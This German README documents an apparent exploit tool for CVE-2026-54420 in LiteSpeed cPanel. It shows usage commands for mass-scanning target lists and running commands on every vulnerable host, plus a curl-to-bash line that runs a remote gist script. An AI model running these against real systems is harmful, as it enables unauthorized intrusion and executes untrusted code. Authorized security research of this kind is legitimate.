CVE-2026-54420 LiteSpeed cPanel

⚡ Einfache Verwendung

Verwenden Sie dieses Projekt nur in sicheren und autorisierten Umgebungen wie:

• Lokale virtuelle Maschinen
• Docker-Container
• Isolierte Laborumgebungen
• Autorisierte Penetrationstest-Umgebungen

Beispielsetup:

git clone <repository-url>
cd <repository-name>

# Project use python follow below

# Create a virtual environment
python -m venv venv

# Activate the virtual environment

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

# Install requirments
pip install -r requirements.txt

Beispielverwendung:

# Single target scan
python cve-2026-54420.py -t http://localhost:3000

# Scan from targets.txt file
python cve-2026-54420.py -t targets.txt

# Advanced scan with all options
python cve-2026-54420.py -t targets.txt -v --threads 20 --timeout 15

# Execute command on all vulnerable targets
python cve-2026-54420.py -t targets.txt -c "whoami" --verbose

# Save results to file
python cve-2026-54420.py -t targets.txt --output results.json --format json

# Run enumeration on all vulnerable targets
python cve-2026-54420.py -t targets.txt --enum --threads 10

Hinweis:

• Wenn Sie von einem anderen Projekt klonen, müssen Sie curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y ausführen, um das verschachtelte .git-Verzeichnis zu entfernen.
• z. B.: cve-2025-46822.sh, cve-2025-46822-lab.sh, ...

Quellenangabe oder Referenz

• https://thehackernews.com/2026/06/cisa-flags-litespeed-cpanel-plugin-flaw.html

📚 Repository für Bildung und Sicherheitsforschung

Ein Repository zum Lernen, Testen und Erforschen von Cybersicherheitskonzepten in kontrollierten Umgebungen.

⚠️ Sicherheits- und Rechtshinweis

Zweck

Dieses Repository ist ausschließlich für Bildungszwecke und autorisierte Sicherheitsforschung bestimmt.

Es soll Benutzern helfen, Folgendes zu lernen:

• Sicherheitslücken
• Sandbox- und Isolationskonzepte
• Sichere Codierung und defensive Praktiken

Nur autorisierte Nutzung

Verwenden Sie dieses Repository nur in Umgebungen, in denen Sie die Berechtigung dazu haben, z. B.:

• Persönliche Labore oder virtuelle Maschinen
• Docker- oder isolierte Umgebungen
• Autorisierte Penetrationstests
• Cybersicherheitsschulungen oder akademische Forschung

Unbefugte oder illegale Nutzung ist strengstens untersagt.

Keine Haftung

Der Autor und die Mitwirkenden sind nicht verantwortlich für Schäden, Missbrauch, rechtliche Probleme oder Verluste, die durch dieses Projekt verursacht werden.

Durch die Nutzung dieses Repositorys stimmen Sie Folgendem zu:

• Sie sind für Ihre eigenen Handlungen verantwortlich
• Sie werden es legal und ethisch verwenden
• Das Projekt wird ohne Gewährleistung bereitgestellt

Ethische Nutzung

Dieses Projekt ist für Folgendes bestimmt:

• Defensive Sicherheitsforschung
• Cybersicherheitsausbildung
• Sensibilisierung für Schwachstellen
• Forschung zu sicheren Systemen und Software

Bitte befolgen Sie die Praktiken verantwortungsvoller Offenlegung und halten Sie alle geltenden Gesetze ein.

Kontakt

Für verantwortungsvolle Offenlegung oder Zusammenarbeit kontaktieren Sie den Repository-Betreuer über GitHub.